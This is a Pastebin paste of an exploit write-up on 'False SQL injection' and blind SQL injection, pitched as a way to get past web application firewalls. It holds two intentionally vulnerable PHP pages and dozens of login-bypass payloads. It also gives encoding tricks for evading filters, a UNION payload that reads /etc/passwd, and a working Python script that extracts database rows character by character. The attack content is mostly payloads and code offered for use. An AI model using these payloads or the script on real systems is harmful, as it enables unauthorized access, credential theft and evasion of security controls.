87aCk_X

Sql advAnved

Aug 30th, 2013
154
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #########################################################################
  2. #                                   #
  3. # Exploit Title: FALSE SQL injection AND advanced blind SQL injection   #
  4. # DATE: 21/12/2011                          #
  5. # Author: Bl@cK-X                               #
  6. # Company:  AnonYmous                               #
  7. # GROUP:  facebook.com/shahrukhatr                                  #
  8. #                                   #
  9. #      ###                                       ##         #
  10. #    ######                                    ######       #
  11. #   ##    ##                                  ###   ##      #
  12. #          ##                                ##             #
  13. #           ###                            ###              #
  14. #            ###                          ###               #
  15. #             ###   #                #   ###                #
  16. #               ############   ###########                  #
  17. #              ############################                 #
  18. #             ##############################                #
  19. #             #############################                 #
  20. #            # ############################ #               #
  21. #             # ####   ############   #### #                #
  22. #              # #####  ##########  ##### #                 #
  23. #               # ###################### ##                 #
  24. #               ## #################### ##                  #
  25. #                ## ################## ##                   #
  26. #               # ## ################ ## #                  #
  27. #                # ## ############## ## #                   #
  28. #                ## ## ############ ## ##                   #
  29. #             ## ## ########## ## ##                    #
  30. #                   # ## ######## ## #                      #
  31. #                      ## ###### ##                         #
  32. #                       ## #### ##                          #
  33. #                        ## ## ##                           #
  34. #                       ##      ##                          #
  35. #                       ##      ##                          #
  36. #                        ###  ###                   #
  37. #                                   #  
  38. #########################################################################
  39.  
  40.  
  41.  
  42. This document IS written FOR publicizing OF NEW SQL injection method about detour SOME web firewall OR SOME security solution. I did test ON a web firewall made IN Korean, most SQL injection attack was hit, I will NOT reveal the maker FOR cutting its damage.
  43.  
  44. IN ORDER TO READ this document, you have TO understand basic MySQL principles. I classified the term "SQL Injection" AS 2 meanings. The FIRST IS a general SQL Injection, we usually CALL this "True SQL Injection", AND the SECOND IS a "False SQL Injection". Though IN this documentation, you can know something special about "True SQL Injection"
  45.  
  46. AND I mean TO say it's true that my method (False SQL Injection) is different from True/False SQL Injection mentioned in "Blind SQL Injection". A tested environment was as follow.
  47.  
  48.  
  49. ubuntu server   11.04
  50. mysql       5.1.54-1
  51. Apache      2.2.17
  52. PHP     5.3.5-1
  53.  
  54. A tested code was as follow.
  55.  
  56. <?php
  57.  
  58. /*
  59. create database injection_db;
  60. use injection_db;
  61. create table users(num int not null, id varchar(30) not null, password varchar(30) not null, primary key(num));
  62.  
  63. insert into users values(1, 'admin', 'ad1234');
  64. insert into users values(2, 'wh1ant', 'wh1234');
  65. insert into users values(3, 'secuholic', 'se1234');
  66.  
  67. *** login.php ***
  68. */
  69.  
  70. if(empty($_GET['id']) || empty($_GET['password'])){
  71.  echo "<html>";
  72.  echo "<body>";
  73.  echo "<form name='text' action='login.php' method='GET'>";
  74.  echo "<h4>ID&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type='text' name='id'><br>";
  75.  echo "PASS<input type='password' name='password'><br></h4>";
  76.  echo "<input type='submit' value='Login'>";
  77.  echo "</form>";
  78.  echo "</body>";
  79.  echo "</html>";
  80. }
  81.  
  82. else{
  83.  $id = $_GET['id'];
  84.  $password = $_GET['password'];
  85.  
  86.  $dbhost = 'localhost';
  87.  $dbuser = 'root';
  88.  $dbpass = 'pass';
  89.  $database = 'injection_db';
  90.  
  91.  $db = mysql_connect($dbhost, $dbuser, $dbpass);
  92.  mysql_select_db($database,$db);
  93.  $sql = mysql_query("select * from users where id='$id' and password='$password'") or die (mysql_error());
  94.  
  95.  $row = mysql_fetch_array($sql);
  96.  
  97.  if($row[id] && $row[password]){
  98.    echo "<font color=#FF0000><h1>"."Login sucess"."</h1></u><br>";
  99.    echo "<h3><font color=#000000>"."Hello, "."</u>";
  100.    echo "<font color=#D2691E>".$row[id]."</u></h3><br>";
  101.  }
  102.  else{
  103.    echo "<script>alert('Login failed');</script>";
  104.  }
  105.  mysql_close($db);
  106. }
  107.  
  108. ?>
  109.  
  110.  
  111. First, basic SQL Injection is as follow.
  112. ' OR 1=1#
  113.  
  114. The code above IS general SQL Injection Code, AND this writer classified the code AS "True SQL Injection". WHEN you log ON TO SOME site, IN internal OF web program, your id AND password are IDENTIFIED BY SOME statement used "select id, password from table where id='' and password='', you can easily understand when you think 0 about character single quotation mark. Empty space is same as 0, the attack is possible using = and 0. As a result, following statement enables log on process.
  115.  
  116. '=0#
  117.  
  118. We can apply it in a different way.
  119.  
  120. This is possible as 0>-1
  121. '>-1#
  122.  
  123.  
  124. Also, this is possible as 0<1
  125. '<1#
  126.  
  127. You don't have to use only single figures. You can use two figures attack as follow.
  128. 1'<99#
  129.  
  130. Comparison operation 0=1 will be 0, the following operation result is true because of id=''=0(0=1).
  131.  
  132. '=0=1#
  133.  
  134.  
  135. Additionally there is some possible comparison operation making the same value each other.
  136.  
  137. '<=>0#
  138.  
  139. Like this, if you use the comparison operation, you can attack as additional manner.
  140.  
  141. '=0=1=1=1=1=1#
  142. '=1<>1#
  143. '<>1#
  144. 1'<>99999#
  145. '!=2!=3!=4#
  146.  
  147.  
  148.  
  149. In this time, you get the turn on understanding False SQL injection. the following is not attack but operation for MySQL.
  150.  
  151. mysql> select * from users;
  152. +-----+-----------+----------+
  153. | num | id        | password |
  154. +-----+-----------+----------+
  155. |   1 | admin     | ad1234   |
  156. |   2 | wh1ant    | wh1234   |
  157. |   3 | secuholic | se1234   |
  158. +-----+-----------+----------+
  159. 3 rows in set (0.01 sec)
  160.  
  161. This shows the contents in any table without any problem.
  162. The following is the content when you don't input any value in the id
  163.  
  164. mysql> select * from users where id='';
  165. Empty set (0.00 sec)
  166.  
  167. Of course there is not result because id field dosen't have any string.
  168. In the truth, I have seen the case that in the MySQL if string field has a 0, the result is true. Based on the truth, following statement is true.
  169.  
  170. mysql> select * from users where id=0;
  171. +-----+-----------+----------+
  172. | num | id        | password |
  173. +-----+-----------+----------+
  174. |   1 | admin     | ad1234   |
  175. |   2 | wh1ant    | wh1234   |
  176. |   3 | secuholic | se1234   |
  177. +-----+-----------+----------+
  178. 3 rows in set (0.00 sec)
  179.  
  180. If you input 0 in id, All the content is showed. This is the basic about "FALSE SQL Injection". After all, result of 0 makes log on process success. For making the result 0, you need something processing integer, in that time you can use bitwise  operations and arithmetic operations.
  181.  
  182. Once I'll show bitwise operation example.
  183.  
  184.  
  185. Or bitwise operation is well known for any programmer. And as I told you before, '' is 0, if you operate "0 bitwise OR 0", the result is 0. So the following operation succeed log on as the False SQL Injection.
  186. '|0#
  187.  
  188. Naturally, you can use AND operation.
  189. '&0#
  190.  
  191. This is the attack using XOR
  192. '^0#
  193.  
  194. Also using shift operation is enable.
  195. '<<0#
  196. '>>0#
  197.  
  198. If you apply like those bitwise operations, you can use variable attack methods.
  199. '&''#
  200. '%11&1#
  201. '&1&1#
  202. '|0&1#
  203. '<<0|0#
  204. '<<0>>0#
  205.  
  206. In this time, I will show "FALSE SQL Injection" using arithmetic operations.
  207. If the result is 0 using arithmetic operation with '', attack will be success. The following is the example using arithmetic operation.
  208.  
  209. '*9#
  210. Multiplication
  211.  
  212. '/9#
  213. Division.
  214.  
  215. '%9#
  216. Mod
  217.  
  218. '+0#
  219. Addition
  220.  
  221. '-0#
  222. Subtraction
  223.  
  224. Significant point is that the result has to be under one. Also you can attack as follow.
  225. '+2+5-7#
  226. '+0+0-0#
  227. '-0-0-0-0-0#
  228. '*9*8*7*6*5#
  229. '/2/3/4#
  230. '%12%34%56%78#
  231. '/**/+/**/0#
  232. '-----0#
  233. '+++0+++++0*0#
  234.  
  235.  
  236.  
  237. Next attack is it using fucntion. In this document, I can't show all the functions. Because this attack is not difficult, you can use the "TRUE, FALSE SQL Injection" attack with function as much as you want. And whether this attack is "TRUE SQL Injection" or "FALSE SQL Injection" is decided on the last operation after return of function.
  238. '<hex(1)#
  239. '=left(0x30,1)#
  240. '=right(0,1)#
  241. '!=curdate()#
  242. '-reverse(0)#
  243. '=ltrim(0)#
  244. '<abs(1)#
  245. '*round(1,1)#
  246. '&left(0,0)#
  247. '*round(0,1)*round(0,1)#
  248.  
  249.  
  250. Also, you can use attack using space in function name. But you are able to use the space with only some function.
  251. '=upper     (0)#
  252.  
  253. In this time, SQL keyword is method. This method is also decided as True or False Injection according to case.
  254. ' <1 and 1#
  255. 'xor 1#
  256. 'div 1#
  257. 'is not null#
  258. admin' order by'
  259. admin' group by'
  260. 'like 0#
  261. 'between 1 and 1#
  262. 'regexp 1#
  263.  
  264. Inputting id or password in the field without annotaion is possible about True, False SQL Injection. Normal Web Firewalls filter #, --, /**/, so the method is more effective in the Web Firewalls.
  265. ID  : '='
  266. PASS: '='
  267.  
  268. ID  : '<>'1
  269. PASS: '<>'1
  270.  
  271. ID  : '>1='
  272. PASS: '>1='
  273.  
  274. ID  : 0'='0
  275. PASS: 0'='0
  276.  
  277. ID  : '<1 and 1>'
  278. PASS: '<1 and 1>'
  279.  
  280. ID  : '<>ifnull(1,2)='1
  281. PASS: '<>ifnull(1,2)='1
  282.  
  283. ID  : '=round(0,1)='1
  284. PASS: '=round(0,1)='1
  285.  
  286. ID  : '*0*'
  287. PASS: '*0*'
  288.  
  289. ID  : '+'
  290. PASS: '+'
  291.  
  292. ID  : '-'
  293. PASS: '-'
  294.  
  295. ID  :'+1-1-'
  296. PASS:'+1-1-'
  297.  
  298.  
  299. All attacks used in the documentation will be more effective with using bracket when detouring web firewall.
  300. '+(0-0)#
  301. '=0<>((reverse(1))-(reverse(1)))#
  302. '<(8*7)*(6*5)*(4*3)#
  303. '&(1+1)-2#
  304. '>(0-100)#
  305.  
  306.  
  307.  
  308. Let's see normal SQL Injection attack.
  309. ' or 1=1#
  310.  
  311. If this is translated in hexdemical, the result is as follow.
  312. http://127.0.0.1/login.php?id=%27%20%6f%72%20%31%3d%31%23&password=1234
  313.  
  314.  
  315. Like attack above is basically filtered. So that's not good attack, I will try detour filtering using tab(%09) standing in for space(%20). In truth, you can use %a0 on behalf of %09.
  316.  
  317. The possible values are as follow.
  318. %09
  319. %0a
  320. %0b
  321. %0c
  322. %0d
  323. %a0
  324. %23%0a
  325. %23%48%65%6c%6c%6f%20%77%6f%6c%72%64%0a
  326.  
  327. The following is the example using %a0 instead of %20.
  328. http://127.0.0.1/login.php?id=%27%a0%6f%72%a0%31%3d%31%23&password=1234
  329.  
  330.  
  331.  
  332. In this time, I will show "Blind SQL injection" attack, this attack can't detour web firewall filtering, but some attacker tend to think that Blind SQL Injection attack is impossible to log on page. So I decided showing this subject.
  333.  
  334. The following attack code can be used on log on page. And the page will show id and password.
  335. 'union select 1,group_concat(password),3 from users#
  336.  
  337. This attack code brings /etc/password information.
  338. 'union select 1,load_file(0x2f6574632f706173737764),3 from users#
  339.  
  340. Dare I say it without union select statement using Blind SQL injection with and operation is possible.
  341.  
  342. The result of record are three.
  343. admin' and (select count(*) from users)=3#
  344.  
  345.  
  346.  
  347. Let's attack detouring web firewall using Blind SQL Injection. The following is vulnerable code to Blind SQL Injection.
  348.  
  349. <?php
  350.  
  351.  /*** info.php ***/
  352.  
  353.  $n = $_GET['num'];
  354.  if(empty($n)){
  355.    $n = 1;
  356.  }
  357.  
  358.  $dbhost = 'localhost';
  359.  $dbuser = 'root';
  360.  $dbpass = 'root';
  361.  $database = 'injection_db';
  362.  
  363.  $db = mysql_connect($host, $dbuser, $dbpass);
  364.  mysql_select_db($database,$db);
  365.  $sql = mysql_query("SELECT * FROM `users` WHERE num=".$n) or die (mysql_error());
  366.  $info = @mysql_fetch_row($sql);
  367.  echo "<body bgcolor=#000000>";
  368.  echo "<h1><font color=#FFFFFF>wh1ant</font>";
  369.  echo "<font color=#2BF70E> site FOR blind SQL injection test</h1><br>";
  370.  echo "<h1><font color=#2BF70E>num: </font><font color=#D2691E>".$info[0]."</font></h1>";
  371.  echo "<h1><font color=#2BF70E>USER: </font><font color=#D2691E>".$info[1]."</font>";
  372.  echo "<body>";
  373.  mysql_close($db);
  374.  
  375. ?>
  376.  
  377.  
  378. Basic Blind SQL Injection is as follow on like above.
  379.  
  380. http://127.0.0.1/info.php?num=1 and 1=0
  381. http://127.0.0.1/info.php?num=1 and 1=1
  382.  
  383. But using = operation is possible for Blind SQL Injection.
  384.  
  385. http://192.168.137.129/info.php?num=1=0
  386. http://192.168.137.129/info.php?num=1=1
  387.  
  388. Also other operation is possible naturally.
  389.  
  390. http://127.0.0.1/info.php?num=1<>0
  391. http://127.0.0.1/info.php?num=1<>1
  392.  
  393. http://127.0.0.1/info.php?num=1<0
  394. http://127.0.0.1/info.php?num=1<1
  395.  
  396. http://127.0.0.1/info.php?num=1*0*0*1
  397. http://127.0.0.1/info.php?num=1*0*0*0
  398.  
  399. http://127.0.0.1/info.php?num=1%1%1%0
  400. http://127.0.0.1/info.php?num=1%1%1%1
  401.  
  402. http://127.0.0.1/info.php?num=1 div 0
  403. http://127.0.0.1/info.php?num=1 div 1
  404.  
  405. http://127.0.0.1/info.php?num=1 regexp 0
  406. http://127.0.0.1/info.php?num=1 regexp 1
  407.  
  408. http://127.0.0.1/info.php?num=1^0
  409. http://127.0.0.1/info.php?num=1^1
  410.  
  411. Attack example:
  412. http://127.0.0.1/info.php?num=0^(locate(0x61,(select id from users where num=1),1)=1)
  413. http://127.0.0.1/info.php?num=0^(select position(0x61 in (select id from users where num=1))=1)
  414. http://127.0.0.1/info.php?num=0^(reverse(reverse((select id from users where num=1)))=0x61646d696e)
  415. http://127.0.0.1/info.php?num=0^(lcase((select id from users where num=1))=0x61646d696e)
  416. http://127.0.0.1/info.php?num=0^((select id from users where num=1)=0x61646d696e)
  417. http://127.0.0.1/info.php?num=0^(id regexp 0x61646d696e)
  418. http://127.0.0.1/info.php?num=0^(id=0x61646d696e)
  419. http://127.0.0.1/info.php?num=0^((select octet_length(id) from users where num=1)=5)
  420. http://127.0.0.1/info.php?num=0^((select character_length(id) from users where num=1)=5)
  421.  
  422. If I will show all attack, I have to take much time, So I stopped in this time. Blind SQL Injection is difficult manually, So using tool will be more effective. I will show a tool made python, this is an example using ^(XOR) bitwise operation. In order to make the most of detouring the web firewall, I replaced space with %0a.
  423.  
  424. #!/usr/bin/python
  425.  
  426. ### blind.py ###
  427.  
  428. import urllib
  429. import sys
  430. import os
  431.  
  432.  
  433.  
  434. def put_data(true_url, true_result, field, index, length):
  435.     for i in range(1, length+1):
  436.         for j in range(32, 127):
  437.             attack_url = true_url + "^(%%a0locate%%a0%%a0(0x%x,(%%a0select%%a0%s%%a0%%a0from%%a0%%a0users%%a0where%%a0num=%d),%d)=%d)" % (j,field,index,i,i)
  438.             attack_open = urllib.urlopen(attack_url)
  439.             attack_result = attack_open.read()
  440.             attack_open.close()
  441.  
  442.             if attack_result==true_result:
  443.                 ch = "%c" % j
  444.                 sys.stdout.write(ch)
  445.                 break
  446.     print "\t\t",
  447.  
  448. def get_length(false_url, false_result, field, index):
  449.     i=0
  450.     while 1:
  451.         data_length_url = false_url + "^(%%a0(select%%a0octet_length%%a0%%a0(%s)%%a0from%%a0users%%a0where%%a0num%%a0=%%a0%d)%%a0=%%a0%d)" % (field,index,i)
  452.         data_length_open = urllib.urlopen(data_length_url)
  453.         data_length_result = data_length_open.read()
  454.         data_length_open.close()
  455.         if data_length_result==false_result:
  456.             return i
  457.         i+=1
  458.  
  459. url = "http://127.0.0.1/info.php"
  460.  
  461. true_url = url + "?num=1"
  462. true_open = urllib.urlopen(true_url)
  463. true_result = true_open.read()
  464. true_open.close()
  465.    
  466. false_url = url + "?num=0"
  467. false_open = urllib.urlopen(false_url)
  468. false_result = false_open.read()
  469. false_open.close()
  470.  
  471.  
  472. print "num\t\tid\t\tpassword"
  473. fields = "num", "id", "password"
  474.  
  475. for i in range(1, 4):
  476.     for j in range(0, 3):
  477.         length = get_length(false_url, false_result, fields[j], i)
  478.         length = put_data(false_url, true_result, fields[j], i, length)
  479.     print ""
  480.  
  481. To its regret, the attack test is stopped for no time, if anyone not this writer studies some attack codes additionally, it will be easy for him to develop the attack.
  482.  
  483. # Korean document: http://wh1ant.kr/archives/[Hangul]%20False%20SQL%20injection%20and%20Advanced%20blind%20SQL%20injection.txt
  484.  
  485. [EOF]
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×